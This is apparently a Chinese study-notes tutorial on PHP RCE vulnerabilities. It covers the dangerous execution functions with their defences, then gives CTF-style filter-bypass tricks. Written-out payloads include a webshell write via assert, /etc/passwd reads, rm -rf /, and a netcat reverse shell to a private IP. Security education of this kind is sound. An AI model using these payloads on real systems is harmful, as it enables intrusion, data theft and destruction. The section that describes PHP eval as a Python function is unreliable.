RCE漏洞基础知识【超详细!!!】+绕过方式

RCE漏洞                        RCE(远程代码/命令执行)漏洞 目录前言简介 前言        个人观点,若有误请指教 简介 RCE(Remote Code/Command Execute)为远程代码/命令执行的漏洞 漏洞产生的原因:在Web应用中开发者为了灵活性,简洁性等会让应用去调用代码或者系统命令执行函数去处理。同时没有考虑用户是否可以控制这些函数的参数问题(若不能控制这些参数,自然也没有这个漏洞;若能控制这些参数,也可能出现考虑了但没有完全防住或者压根没考虑 ????),以至 阅读详情

前言

之前学过,不太完全,寒假的时候再回顾重学一下

参考大佬 文献:

RCE漏洞的概述

在网络安全领域:RCE是远程代码执行的缩写。RCE漏洞允许攻击者在目标系统上执行任意代码。攻击者通过远程执行代码来获取目标系统的控制权。针对RCE攻击,安全专家会采取各种防御措施,如代码审计、安全配置等,以防止RCE攻击的发生。RCE研究是网络安全中的一个关键领域,专注于发现和缓解RCE漏洞

RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

RCE主要指远程代码执行和远程命令执行,CTFHub中将文件包含漏洞也看作RCE漏洞。

命令执行

代码执行

调用操作系统命令进行执行

调用服务器网站的代码进行执行,

但代码执行在利用过程中往往会通过调用网站代码去执行系统命令

远程代码执行

介绍

一、定义及原理

远程代码执行,顾名思义就是用户可以远程执行代码。

这个漏洞和命令执行漏洞相近,根据设计的需求,需将用户输入的部分代码进行执行,又或者服务器对危险函数过滤不严导致用户输入的一些字符串可以被转换成代码来执行。这些时候往往容易导致远程代码执行。

二、成因

用户能够控制函数输入

存在可执行代码的危险函数常见代码执行函数

PHP: eval、assert、preg_replace()、+/e模式(PHP版本<5.5.0)

Javascript: eval

Vbscript:Execute、Eval

Python: exec

三、漏洞检测

整体的检测方式和命令执行都是一样的,只是输入的方式不同。

常见代码执行函数

1.1. eval() 函数

eval — 把字符串作为PHP代码执行

1.1.1. 定义

eval() 是Python中一个动态执行字符串代码的内置函数,其核心作用是将字符串转换为可执行的Python表达式并返回结果。由于它直接执行任意代码,存在极高的安全风险(如代码注入),生产环境中严禁使用。

[https://www.php.net/manual/zh/function.eval.php](https://www.php.net/manual/zh/function.eval.php)

1.1.2. 基础语法
eval(expression, globals=None, locals=None)
  • expression:必填,要执行的Python表达式字符串(如 "1+2")。
  • globals:可选,全局命名空间(字典形式),限制代码可访问的全局变量。
  • locals:可选,局部命名空间(字典形式),限制代码可访问的局部变量。
1.1.3. 常见用法示例
  1. 执行简单表达式
result = eval("10 + 20 * 3")  # 等价于执行10+20*3
print(result)  # 输出:70
  1. 动态计算变量值
x = 5
y = 3
result = eval("x ** y")  # 等价于x的y次方
print(result)  # 输出:125
  1. 使用globals限制作用域
# 仅允许访问math模块,禁止其他全局变量
import math
result = eval("math.sqrt(16)", {"__builtins__": None, "math": math})
print(result)  # 输出:4.0
1.1.4. 安全风险(重点)

eval() 会无限制执行任何字符串代码,若传入用户可控的内容(如表单输入),攻击者可构造恶意代码:

# 恶意示例:删除系统文件(仅作警示,请勿执行)
eval("__import__('os').system('rm -rf /')")
1.1.5. 注意:返回值

(https://www.php.net/manual/zh/reserved.constants.php#constant.null)`,

1.1.5.1. 默认返回null

eval()执行的代码如果没有显式使用return语句返回值,函数会默认返回null

(PHP中的空值常量)。

  • 示例:
$result = eval('echo "Hello";'); 
var_dump($result); // 输出:NULL(因为代码中没有return)
1.1.5.2. 显式return时返回指定值

若执行的代码中包含return $value;,eval()会返回$value的值。

  • 示例:
$result = eval('return 10 + 20;'); 
var_dump($result); // 输出:int(30)(返回计算结果)
1.1.5.3. 关键补充
  • eval()的返回值仅与执行代码中的return相关,与代码中的其他输出(如echo)无关。
  • 若执行的代码抛出错误(如语法错误),eval()会返回null并触发E_PARSE错误。

简单来说:PHP的eval()默认“无返回值”(即null),只有主动return时才会传递具体结果。 📌

1.2. assert() 函数

1.2.1. 定义

assert()函数在 PHP 7.2 之前 ,它如果接收到字符串参数,会将其作为 PHP 代码执行,这使其成为了一个隐蔽的危险函数。PHP 8.0+:不再支持代码执行,仅支持表达式判断,大大提升了安全性。

assert() 是编程中用于调试阶段自检的工具,核心作用是验证代码运行时的假设条件是否成立。以下以 Python 和 C语言 为例展开说明:

1.2.2. RCE漏洞中assert()函数的利用原理

在远程代码执行(RCE)场景中,assert()函数的风险主要源于其动态执行字符串代码的特性(尤其在PHP 5/7版本中)。以下是具体原理和攻击示例:

1.2.2.1. 核心风险点:字符串参数被当作代码执行

assert()的设计初衷是调试断言(验证条件是否成立),但在PHP 5.x及7.x早期版本中,若传入的断言条件是字符串,函数会将其直接作为PHP代码执行。这一特性被攻击者利用,通过构造恶意字符串实现RCE。

  • 正常用法(安全):
assert(1 == 2); // 条件不成立,触发断言错误(仅调试用)
  • 被利用的危险用法(RCE漏洞):
    若用户输入直接传入assert()的字符串参数,攻击者可构造代码执行Payload:
$user_input = $_GET['input']; // 假设用户输入可控
assert($user_input); // 若$user_input为恶意字符串,将执行代码
1.2.2.2. 典型攻击Payload示例

攻击者通过URL参数注入恶意代码,常见Payload格式:

  1. 执行系统命令(需system()等函数未被禁用):
// 输入:?input=system('whoami');
assert("system('whoami');"); // 执行系统命令,返回当前用户身份
  1. 读取敏感文件:
// 输入:?input=file_get_contents('/etc/passwd');
assert("file_get_contents('/etc/passwd');"); // 读取系统用户配置文件
  1. 写入WebShell:
// 输入:?input=file_put_contents('shell.php','<?php eval($_POST[cmd]);?>');
assert("file_put_contents('shell.php','<?php eval($_POST[cmd]);?>');"); // 写入后门文件
1.2.2.3. 防御措施
  1. 禁止将用户输入直接传入assert():严格过滤所有外部输入,避免字符串参数进入assert()。
  2. 使用静态条件代替动态字符串:断言条件应直接写为布尔表达式(如assert($a == $b)),而非字符串拼接。
  3. 升级PHP版本:优先使用PHP 7.0+,并在php.ini中设置zend.assertions = -1(完全禁用断言)。
  4. 禁用危险函数:通过disable_functions配置禁用system()、exec()等执行命令的函数。
1.2.2.4. 关键总结

assert()在RCE漏洞中的核心风险是字符串参数被当作代码执行,本质是对用户输入的信任导致的注入问题。防御的关键在于隔离用户输入与代码执行函数,并通过版本升级和配置加固消除漏洞根源。 🛡️

1.3. preg_replace()函数

正则匹配替换字符串;

1.4. create_function()函数

主要创建匿名函数;

1.5. call_user_func()函数

回调函数,第一个参数为函数名,第二个参数为函数的参数;

1.6. call_user_func_array()函数

回调函数,第一个参数为函数名,第二个参数为函数参数的数组;

1.7. 可变函数

若变量后有括号,该变量会被当做函数名为变量值(前提是该变量值是存在的函数名)的函数执行;

远程命令执行

介绍

一、定义及原理

远程命令执行,顾名思义就是可以远程执行系统命令。

该漏洞的出现是由于应用系统从设计上需要给用户提供指定的远程命令操作的接口,例如在防火墙的WEB界面中会存在一个故障排除功能,里面就会存在类似Ping操作的界面,若设计者未针对这类功能进行严格的控制检测,则可能导致攻击者提交恶意命令,从而控制后台,控制服务器。

简单来说,根据设计需求,有时会允许用户执行系统命令,要是不对用户的行为进行限制,用户就可以随意执行系统命令,造成危害,这就是远程命令执行。

二、成因

  • 代码层过滤不严
  • 系统的漏洞造成命令注入
  • 调用的第三方组件存在代码执行漏洞常见的命令执行函数
    • PHP:exec、shell_exec、system、passthru、popen、proc_open等
    • ASP.NET:System.Diagnostics.Start.Process、System.Diagnostics.Start.ProcessStartInfo等
    • Java:java.lang.runtime.Runtime.getRuntime、java.lang.runtime.Runtime.exec等

三、漏洞检测

漏洞常常出现在网络设备、安全设备、自动化运维平台上面。

往往在有需求的地方,出现RCE的概率较大,这里的有需求指的是有用户执行系统命令的需求。

白盒:可以对代码进行审计。

黑盒:可以使用一些漏扫工具、公开的漏洞、手工看功能点及参数值,其中参数值主要需要看是否和相关的漏洞函数有关,若有就可以进行测试,但是可能存在加密的情况,那么还需要进行解密。

常用命令执行函数

怎么运行,运行条件,参数,能否回显

1.1. system() 函数【有回显】

system():能将字符串作为OS命令执行,且返回命令执行结果;

【system — 执行外部程序,并且显示输出】

system() 是操作系统级函数,用于调用系统命令并返回执行结果,在编程和网络安全领域是高频考点(尤其在RCE漏洞中)。

直接提交你想要执行的指令,然后他直接反馈给你

参数 回显

提交命令 ———— 返回结果

1.1.1. 语法
system(string $command, int &$result_code = null): string|false
  • 作用:执行传入的command字符串(系统命令),并返回命令执行状态码(0=成功,非0=失败)。

command:执行command参数所指定的命令,并且输出执行结果

如果提供return_code参数,则外部命令执行后的返回状态将会被设置到此变量中。

若是

0:表示命令**成功**执行。

非 0(通常是 1-255):表示命令**失败**或出现了异常。不同的数字代表不同的错误类型。

  • 示例:
system("ls -l"); // Linux下执行"列出文件"命令
system("dir");   // Windows下执行"列出目录"命令
  • 示例
<?php
highlight_file(__FILE__);        //高光显示当前源代码 
$cmd = $_GET["benben"];     //通过get方式benben的值
if(isset($cmd)){				//if判断是否有提交
system($cmd);
}
1.1.2. 安全风险:RCE漏洞的直接入口

system()是远程代码执行(RCE)漏洞的高危函数,

主要风险点:

  1. 用户输入未过滤:若攻击者可控system()的参数(如通过URL、表单注入),可执行任意系统命令。
    • 攻击示例(PHP):
$cmd = $_GET['cmd']; // 用户输入可控
system($cmd);        // 攻击者传入?cmd=rm -rf / 将删除系统文件
  1. 权限继承:system()会继承程序运行时的权限(如Web服务器的www-data用户权限),攻击者可利用此权限执行敏感操作。
1.1.3. 防御措施
  1. 严格过滤用户输入:
    • 禁止直接将用户输入传入system(),必须对输入进行白名单验证(仅允许指定命令)。
    • 示例(PHP):
$allowed = ['ls', 'pwd']; // 白名单命令
if (in_array($_GET['cmd'], $allowed)) {
    system($_GET['cmd']);
}
  1. 最小权限原则:
    运行程序时使用最低权限用户(如Web服务器用www-data而非root),降低攻击影响范围。
1.1.4. 关键总结

system()是双刃剑:合法场景下用于简化系统交互(如脚本自动化),但在用户输入可控时会直接导致RCE漏洞。安全开发中需坚决避免用户输入进入system(),优先采用安全替代方案。 🛡️

1.2. passthru()函数【有回显】

passthru():能将字符串作为OS命令执行,只调用命令不返回任何结果,但把命令的运行结果原样输出到标准输出设备上;

【passthru — 执行外部程序并且显示原始输出】

输出二进制数据,并且需要直接传送到浏览器

参数 回显

提交命令 —————————— 返回结果

输出二进制数据流

1.2.1. 语法
passthru(string $command, int &$result_code = null): ?false
  • 核心特点:
    • 执行系统命令后,直接将命令的原始输出(包括二进制数据,如图片、压缩包)发送到浏览器。
    • 不返回结果(无返回值),输出内容会直接显示在页面上。
    • 常用于需要实时输出命令结果的场景(如执行ping、tail等持续输出的命令)。

举例:

<?php
passthru('ls /');
passthru('whoami');

示例

<?php
highlight_file(__FILE__);
$cmd = $_GET["cmd"];
echo "This is test!!!";  //输出固定文本 "This is test!!!" 到页面
passthru($cmd);  //执行结果会直接输出到页面,而不会存储到变量中
?>
1.2.2. 与其他命令执行函数的对比

passthru() 是PHP中用于执行系统命令并直接输出结果的函数,与exec()、shell_exec()的核心差异在于输出方式。

特性

passthru()

shell_exec()

exec()

输出方式

直接输出到浏览器

(原始结果)

返回完整输出字符串(需手动echo)

返回最后一行,需通过参数获取完整结果

二进制支持

支持(如直接输出图片、视频流)

不支持(仅返回文本字符串)

不支持

返回值

无返回值

返回完整输出字符串

返回最后一行输出

1.2.3. 安全风险:命令注入高危点

passthru()的风险与其他命令执行函数完全一致——用户输入未过滤导致命令注入:

  • 攻击示例:
    若$command可控,攻击者可构造恶意命令:
$cmd = $_GET['cmd']; // 用户输入可控
passthru($cmd); // 直接输出命令结果

攻击者传入 ?cmd=cat /etc/passwd 可直接在页面显示系统用户信息;

传入 ?cmd=rm -rf / 会直接删除服务器文件。

1.2.4. 防御措施

与其他命令执行函数的防御逻辑完全一致:

  1. 输入白名单验证:仅允许预定义的安全命令(如ls、date)。
  2. 参数转义:若需动态传参,使用escapeshellarg()转义参数(避免Shell解析):
$cmd = 'ls';
$arg = escapeshellarg($_GET['dir']); // 转义用户输入的目录参数
passthru("$cmd $arg");
  1. 禁用危险函数:生产环境通过php.ini的disable_functions禁用passthru()。
1.2.5. 关键总结

passthru() 是直接输出命令原始结果的工具,适合处理二进制数据或实时输出场景,但在用户输入可控时会直接引发RCE漏洞。安全开发的核心原则是:永远不要让用户输入直接传入passthru(),必须通过白名单、参数转义等措施彻底阻断注入风险。 🛡️

1.3. pcntl_exec()函数【有回显】

pcntl_exec — 在当前进程空间执行指定程序

主要用于处理Unix/Linux系统中的进程管理

1.3.1. 语法
 pcntl_exec(string $path, array $args = [], array $env_vars = []): bool

path必须时可执行二进制文件路径或一个在文件第一行指定了 一个可执行文件路径标头的脚本(比如文件第一行是 #!/usr/local/bin/perl 的 perl 脚本)。

args是一个要传递给程序的参数的字符串数组。

env_vars 是一个要传递给程序作为环境变量的字符串数组。这个数组是 key => value 格式的,key 代表要传递的环境变量的名称,value 代表该环境变量值。

1.3.2. 核心特点:

进程替换**

+ **覆盖当前进程**:它会用新程序替换当前的 PHP 进程。

+ **后续代码不执行**:如果执行成功,原 PHP 脚本中该行之后的代码将**永远不会被执行**。

举例:

<?php
// 执行 ls 命令,列出当前目录的文件
pcntl_exec("/bin/ls", ["/"]);  #ls /

// 如果 pcntl_exec 执行成功,以下代码不会被执行
echo "bxbxbxbxbxbxbxbx"; 
?>

1.4. exec()函数【无回显】

exec():能将字符串作为OS命令执行,但是只返回执行结果的最后一行(约等于无回显);

【exec — 执行一个外部程序】

提交指令,要通过变量,最后再通过输出得到结果

exec只能回显最后一行,需要第二个参数来给他赋值之后,还得用依靠指令才能将所有内容给他回显出来

参数 回显

提交命令 ———————— 返回结果

output参数 print_r

填充数组

1.4.1. 语法
exec(string $command, array &$output = null, int &$result_code = null): string|false

command 要执行的命令。

output 如果提供了output参数, 那么会用命令执行的输出填充此数组, 每行输出填充数组中的一个元素。

result_code 如果同时提供 output和 result_code参数,命令执行后的返回状态会被写入到此变量。 接收命令执行后的状态码(通常 `0` 表示成功,非 `0` 表示失败)

  • 示例
<?php
highlight_file(__FILE__);
$cmd = $_GET["cmd"];    //从URL的查询参数中获取名为 cmd 的参数值,并将其赋值给变量 $cmd
exec($cmd,$array);   //执行结果会被存储到数组 $array
print_r($array);           //将 $array 的内容以可读形式输出到页面
?>
1.4.2. 函数特点:
  • 静默执行:它执行外部命令,但**不直接输出**任何内容到浏览器。
  • 返回命令输出结果的**最后一行**。 如果执行失败,则返回 `false`。
<?php
exec('ls', $output);
echo "done";
1.4.3. 如何回显结果?

使用output参数+print_r/var_dump可以回显全部内容

【var_dump() 函数输出变量的详细信息,包括变量的类型与值。数组将递归展开值,通过缩进显示其结构。】

<?php
exec('whoami', $output);
print_r($output);
>
<?php
print_r(exec('whoami'));
>

或者 反弹shell,需要公网ip

1.4.4. 安全风险:RCE漏洞的高危载体

exec() 的风险与system()类似,核心问题是用户输入未过滤导致命令注入:

  • 攻击示例(PHP):
    若exec()的参数可控,攻击者可构造恶意命令:
$cmd = $_GET['cmd']; // 用户输入可控
exec($cmd, $output); // 执行命令并将结果存入$output

攻击者传入 ?cmd=rm -rf / 会删除系统文件;

传入 ?cmd=whoami 可获取当前用户权限。

  • 命令注入技巧:
    利用;(分隔命令)、&&(前命令成功则执行后命令)、|(管道符)构造复合命令:
ls; whoami  # 先执行ls,再执行whoami
1.4.5. 防御措施
  1. 输入白名单验证:
    仅允许指定的安全命令,禁止用户输入直接传入exec()。示例(PHP):
$allowed = ['ls', 'date'];
// 白名单命令
//定义一个白名单数组,仅包含允许执行的系统命令(ls用于列出文件,date用于显示时间)。
if (in_array($_GET['cmd'], $allowed)) {
  //$_GET['cmd']:获取用户通过URL传入的cmd参数(如?cmd=ls)。
  //in_array(值, 数组):判断用户输入的cmd是否在白名单$allowed中。
  //逻辑:只有当用户输入的命令是ls或date时,才会执行后续的exec()函数。
  exec($_GET['cmd'], $output);
  //exec(命令, 结果数组):执行系统命令,并将命令的输出结果存入$output数组
    //(仅返回最后一行输出,需通过数组获取完整结果)。
  //安全前提:因经过白名单验证,此处执行的命令是预先允许的安全命令,不会引发注入风险。
}

//这段代码通过白名单机制彻底阻断了命令注入的可能性——即使攻击者尝试传入恶意命令(如?cmd=rm -rf /),
//因不在白名单中,if条件会直接不成立,exec()不会执行。
  1. 参数分离(避免Shell注入):
    若需动态传参,使用命令与参数分离的写法(如Python的subprocess):
import subprocess
# 安全:命令与参数分开,避免Shell解析
subprocess.run(['ls', '-l', '/tmp'], shell=False)
  1. 禁用危险函数:
    在PHP中通过php.ini的disable_functions禁用exec()、system()等函数(生产环境推荐)。
1.4.6. 关键总结

exec() 是系统交互的便捷工具,但在用户输入可控时会直接引发RCE漏洞。安全开发的核心原则是:永远不要信任用户输入,通过白名单、参数分离、最小权限等措施彻底阻断注入风险。 🛡️

1.5. shell_exec() 函数【无回显】

shell_exec():能将字符串作为OS命令执行

【shell_exec— 通过 shell 执行命令并将完整的输出以字符串的方式返回】

借用echo、print等输出结果

参数 回显

提交命令 ————————返回结果

echo/print

1.5.1. 语法
shell_exec(string $command): string|false|null
  • 核心特点:
    • 执行系统命令(如ls、whoami),并将命令的全部输出作为字符串返回(包括换行符)。
    • 若命令执行失败或无输出,返回NULL。
<?php
$a = shell_exec('whoami');
$b = `whoami`;
echo $a;
echo $b;

示例

<?php
highlight_file(__FILE__);
$cmd = $_GET["cmd"];
$output = shell_exec($cmd);//执行结果会被存储到变量 
$output 中
echo $output;
?>	
1.5.2. 与exec()的对比

shell_exec() 是PHP中用于执行系统命令并返回完整输出的函数,与exec()的核心差异在于返回值处理。

特性

shell_exec()

exec()

返回值

返回命令的完整输出字符串

返回命令的最后一行输出,需通过参数获取完整结果

执行方式

通过Shell解析命令(默认/bin/sh)

直接执行命令(部分环境下可能通过Shell)

命令注入风险

完全暴露(若参数可控)

风险相同(需输入验证)

1.5.3. 安全风险:与exec()一致的高危性

shell_exec()的风险与exec()完全相同——用户输入未过滤导致命令注入:

  • 攻击示例:
    若$command可控,攻击者可构造恶意命令:
$cmd = $_GET['cmd']; // 用户输入可控
$output = shell_exec($cmd); // 执行命令并返回完整输出

攻击者传入 ?cmd=cat /etc/passwd 可读取系统用户信息;

传入 ?cmd=nc -e /bin/sh 192.168.1.100 4444 可反弹Shell获取服务器控制权。

1.5.4. 防御措施

与exec()的防御逻辑完全一致:

  1. 输入白名单验证:仅允许预定义的安全命令(如ls、date)。
  2. 参数分离:若需动态传参,使用escapeshellarg()转义参数(避免Shell解析):
$cmd = 'ls';
$arg = escapeshellarg($_GET['dir']); // 转义用户输入的目录参数
$output = shell_exec("$cmd $arg");
  1. 禁用危险函数:生产环境通过php.ini的disable_functions禁用shell_exec()。
1.5.5. 关键总结

shell_exec() 是获取命令完整输出的便捷工具,但在用户输入可控时会直接引发RCE漏洞。安全开发的核心原则是:永远不要让用户输入直接传入shell_exec(),必须通过白名单、参数转义等措施彻底阻断注入风险。 🛡️

1.6. 反引号(` `)【无回显】

(在 PHP 中,反引号 被称为**执行运算符**。它的功能与 `shell_exec()` 函数完全相同,用于在服务器底层系统中执行命令。)

(反引号``:反引号``内的字符串会被解析为OS命令;)

参数 回显

提交命令 ————————返回结果

echo/print

<?php 
$output = `ls -l`; 
echo $output; 
//等价于$output = shell_exec('ls -l');
?>

1.7. popen() 函数【无回显】

popen — 打开进程文件指针

首先要用`r`读,然后赋值到一个地方去(ben),然后再用fgets读取进程里的内容,读取后在使用print_r输出

参数 回显

提交命令 ———————————— 返回结果

mode参数 fgets获取print_r输出

1.7.1. 语法

在操作系统中执行一个命令,并打开一个连接到该命令的“管道”(Pipe),让你能像读写普通文件一样与这个进程交互。

popen ( string $command , string $mode ) : resource

+ $command:要执行的命令。

+ $mode:模式。`'r'` 表示只读(读取命令输出),`'w'` 表示只写(向命令写入数据)。

模式符号

英文全称

作用说明

r

Read

只读模式,文件不存在则报错;指针位于文件开头。

w

Write

只写模式,覆盖原有内容(文件不存在则创建);指针位于文件开头。

a

Append

追加模式,在文件末尾添加内容(文件不存在则创建);指针自动移到末尾。

x

Exclusive

独占创建模式,文件已存在则报错(避免覆盖)。

举例:

<?php
$cmd = "whoami";      // 接收用户传入的命令
$ben = popen($cmd, 'r');  // 以只读模式打开进程管道
while($s = fgets($ben)){  // 循环读取管道中的每一行输出
    print_r($s);          // 打印输出结果
}
?>

示例:

<?php
highlight_file(__FILE__);
$cmd = $_GET["cmd"];
$ben = popen($cmd,'r');     
//使用 popen() 函数在服务器上执行 $cmd 中的命令,并打开一个管道(pipe),以便读取命令的输出
while($s=fgets($ben)){
print_r($s);
}
?>

1.8. proc_open()函数【无回显】

【proc_open():与popen()类似】

提交命令 —————————— 返回结果

descriptor_spec参数

pipes参数

1.8.1. 语法
proc_open($command,$descriptor_spec,$pipes,$cwd,$env_vars,$options)

command参数: 要执行的命令。

descriptor_spec参数: 定义数组内容。

pipes参数: 调用数组内容。

1.8.2. 例子
<?php
highlight_file(__FILE__);
$cmd = $_GET["cmd"];
$array = array(  		
//$array = array(...);定义了一个数组,用于配置 proc_open() 的输入输出管道
array("pipe","r"),	可读管道
array("pipe","w"),	可写管道
array("file","/tmp/error-output.txt","a")
);
$fp = proc_open($cmd,$array,$pipes);
//使用 proc_open() 函数执行 $cmd 中的命令,
//并根据 $array 的配置创建相应的管道。 执行成功后,返回一个资源句柄 $fp,并填充 $pipes 数组
echo stream_get_contents($pipes[1]);
//[1]输出内容[0]输入内容
proc_close($fp);
//关闭由 proc_open() 创建的进程资源
?>

常见命令

一、Windows

【Windows系统常用操作命令大全_windows常用命令-优快云博客】

  1. ‌‌dir‌:列出目录中的文件和子目录。

例如,dir C:\\Users可以列出C盘下Users目录中的所有文件和子目录。‌

  1. ‌‌cd‌:改变当前目录。

例如,cd C:\\Windows可以将当前目录更改为C盘下的Windows目录。

  1. ‌‌copy‌:复制文件到指定位置。

例如,copy C:\\file.txt D:\\可以将C盘下的file.txt复制到D盘。

  1. ‌‌move‌:移动文件或重命名文件/目录。

例如,move C:\\file.txt D:\\可以将C盘下的file.txt移动到D盘。

  1. ‌‌del‌:删除一个或多个文件。

例如,del C:\\file.txt可以删除C盘下的file.txt文件。

  1. ‌‌md/mkdir‌:创建新目录。

例如,md C:\\NewFolder可以在C盘下创建一个名为NewFolder的新目录。

  1. rd/rmdir:删除目录。

例如,rd C:\\OldFolder可以删除C盘下的OldFolder目录。

  1. ‌‌attrib‌:显示或更改文件属性。

例如,attrib +r C:\\file.txt可以将C盘下的file.txt文件设置为只读属性。

  1. ren‌(重命名文件或目录)
  2. type‌(显示文件内容)
  3. format‌(格式化磁盘)
  4. ping #测试连通性
  5. tracert #追踪路由
  6. telnet #远程连接
  7. ipconfig #查看ip
  8. arp -a #查看路由表
  9. calc #打开计算器
  10. regedit #打开注册表
  11. netstat -ano #查看服务器端口信息

二、Linux

【Linux常见指令(超全超详细)_linux指令-优快云博客】

1、文件和目录操作

‌cd‌:切换目录。例如,cd /home 进入 /home 目录。

‌pwd‌:显示当前工作目录。

‌ls‌:列出目录内容。例如,ls -l 显示详细列表。

‌mkdir‌:创建目录。例如,mkdir dir1 创建名为 dir1 的目录。

‌rmdir‌:删除空目录。

‌rm‌:删除文件或目录。例如,rm -rf dir1 递归删除 dir1 及其内容。

‌cp‌:复制文件或目录。例如,cp file1 file2 将 file1 复制为 file2。

‌mv‌:移动或重命名文件或目录。例如,mv old_name new_name 重命名文件。

‌du‌:统计文件和目录的磁盘使用情况。

2、查看文件内容

‌cat‌:连接文件并打印到标准输出。例如,cat file1 查看 file1 的内容。

‌tac‌:反向显示文件内容。

‌more‌:分页显示文件内容。

‌less‌:类似 more,但允许向前和向后滚动。

‌head‌:显示文件的前几行。例如,head -n 10 file1 显示 file1 的前10行。

‌tail‌:显示文件的最后几行或实时跟踪文件更新。例如,tail -f /var/log/syslog 实时查看日志文件。

3、系统管理和网络

‌shutdown‌:关闭系统。例如,shutdown -h now 立即关机。

‌reboot‌:重启系统。

‌date‌:显示或设置系统日期和时间。

‌ping‌:测试网络连通性。例如,ping google.com 测试与 Google 的网络连接。

4、用户和权限管理

‌useradd‌:添加新用户。

‌userdel‌:删除用户。

‌groupadd‌:添加新组。

‌groupdel‌:删除组。

‌chown‌:更改文件或目录的属主和属组。例如,chown user:group file1 将 file1 的属主更改为 user,属组更改为 group。

‌chmod‌:更改文件或目录的权限。例如,chmod 755 file1 设置 file1 的权限为755。

5、压缩与解压缩

‌tar‌:归档文件。例如,tar -czvf archive.tar.gz dir1 将 dir1 压缩为 archive.tar.gz。

‌gzip‌:压缩文件。例如,gzip file1 将 file1 压缩为 file1.gz。

‌gunzip‌:解压缩 .gz 文件。

‌zip‌:压缩文件或目录为 .zip 格式。

‌unzip‌:解压缩 .zip 文件。

6、其他常用命令

‌find‌:在文件系统中查找文件或目录。例如,find / -name file1 从根目录开始查找名为 file1 的文件。

‌grep‌:在文件中搜索文本。例如,grep "hello" file1 在 file1 中搜索包含 "hello" 的行。

‌ps‌:显示当前运行的进程。例如,ps aux 显示所有进程。

‌kill‌:终止进程。例如,kill -9 PID 强制终止进程 PID。

常见命令连接符

一、Windows

|:直接执行后面的语句:

||:如果前面的语句执行出错,则执行后面的语句,否则仅执行前面的语句

&:前后的语句均可执行,但是前面的语句如果执行结果为假(即执行失败),则仅输出后面语句的结果

&&:如果前面的语句为假,则直接报错,也不执行后面的语句。

  • > 和 >>:输出重定向命令

> 清除文件中原有的内容后再写入

>> 追加内容到文件末尾,而不会清除原有的内容。主要将本来显示在屏幕上的内容输出到指定文件中;指定文件如果不存在,则自动生成该文件

<:从文件中获得输入信息,而不是从屏幕上,一般用于 date time label 等需要等待输入的命令

  • %0 %1 %2 %3 %4 %5 %6 %7 %8 %9 %*:命令行传递给批处理的参数

%0 批处理文件本身

%1 第一个参数

%9 第九个参数

%* 从第一个参数开始的所有参数

二、Linux

;:按顺序执行语句

|:只执行后面语句

||:如果前面的语句执行失败,则执行后面的语句。如果前面的语句执行成功,则不执行后面的语句。【二选一】

&:如果前面的语句为假(执行失败),则执行后面的语句,否则两条语句均会执行

&&:如果前面的语句出错,则停止,否则两条语句均会执行

绕过方式

RCE绕过的简介以及常见的绕过方式(个人学习笔记)_java通用rce漏洞拦截-优快云博客

1. 常见文件读取命令绕过

题目有时会禁用cat这种常见的文件读取命令,该怎么办呢?

tac:反向显示;

more:一页一页的显示档案内容;
  
less: 与more类似;

tail : 查看末尾几行;

nl : 显示的时候,顺便输出行号;

od : 以二进制的方式读取档案内容;

xxd : 读取二进制文件,把文件转换成十六进制形式;

sort : 主要用于排序文件;

uniq : 报告或删除文件中重复的行;

grep:在文本中查找指定的字符串;
  • 例子
?cmd=passthru("od -A d -c flag.php");
?cmd=passthru("xxd flag.php");
?cmd=passthru("sort flag.php");
?cmd=passthru("/usr/bin/s?rt flag.php");
?cmd=passthru("uniq flag.php");
?cmd=passthru("grep Hnu flag"); #从flag文本文件中搜索包含"Hnu"字符串的行
?cmd=passthru("grep { fla*"); #搜索{

2. 空格绕过

> < <> 重定向符
%20(space)
%09(tab)
$IFS$9 
${IFS}(最好用这个)
$IFS  
%0a  换行符
{cat,flag.txt} 在大括号中逗号可起分隔作用

3. 拼接绕过

a=fl;b=ag;cat$IFS$a$b

4. 管道符绕过

5. 反斜杠\绕过:

cat、ls,flag被过滤,使用\绕过

(1):c\at /flag

(2):l\s /

(3):fl\ag

6. 取反绕过:


//取反传参
<?php

$a = "system";

$b = "cat /flag";

$c = urlencode(~$a);

$d = urlencode(~$b);

//输出得到取反传参内容

echo "?cmd=(~".$c.")(~".$d.");"

?>

7. 正则匹配绕过:

//如flag被过滤

cat /f???

cat /fl*

cat /f[a-z]{3}

7.1. *(星号):匹配零个或多个任意字符

  • 规则:表示“任意长度的任意字符”(包括空字符)。
  • 示例:
    • *.txt:匹配所有以 .txt 结尾的文件(如 note.txt、report_2024.txt)。
    • file*:匹配所有以 file 开头的文件(如 file1.jpg、file_backup.zip)。
    • *secret*:匹配文件名中包含 secret 的文件(如 my_secret.txt、secret_key.pem)。

7.2. ?(问号):匹配单个任意字符

  • 规则:表示“恰好一个任意字符”,不能匹配零个或多个。
  • 示例:
    • file?.txt:匹配 file1.txt、fileA.txt(单个占位符),但不匹配 file.txt(无字符)或 file12.txt(两个字符)。
    • photo_??.png:匹配 photo_01.png、photo_ab.png(两个占位符)。

7.3. [](方括号):匹配括号内的任意单个字符

  • 规则:表示“括号内的某一个字符”,支持单个字符或范围(如数字/字母范围)。
  • 示例:
    • file[1-3].txt:匹配 file1.txt、file2.txt、file3.txt(数字范围 1-3)。
    • img_[a-c].jpg:匹配 img_a.jpg、img_b.jpg、img_c.jpg(字母范围 a-c)。
    • doc_[xyz].pdf:匹配 doc_x.pdf、doc_y.pdf、doc_z.pdf(单个字符列举)。

7.4. [^](取反方括号):匹配不在括号内的单个字符

  • 规则:在方括号开头加 ^,表示“排除括号内的所有字符”。
  • 示例:
    • file[^a-c].txt:匹配 file1.txt、fileD.txt(排除 a/b/c),但不匹配 filea.txt。
    • log_[^0-9].log:匹配 log_error.log、log_debug.log(排除数字),但不匹配 log_2024.log。

7.5. {}(大括号):匹配括号内的任意完整字符串

  • 规则:表示“括号内的某一个完整字符串”,支持多个字符串列举或连续范围(需配合 ..)。
  • 示例:
    • file{1,2,3}.txt:匹配 file1.txt、file2.txt、file3.txt(直接列举值)。
    • report_{2022..2024}.pdf:匹配 report_2022.pdf、report_2023.pdf、report_2024.pdf(连续范围)。
    • {cat,dog,bird}.txt:匹配 cat.txt、dog.txt、bird.txt(多个独立字符串)。

7.6. 关键区别总结

通配符

匹配逻辑

灵活性

*

任意长度任意字符

最灵活(模糊)

?

单个任意字符

中等(模糊)

[]

单个指定字符/范围

中等(精确)

[^]

单个非指定字符/范围

中等(精确)

{}

完整字符串列举/范围

最精确

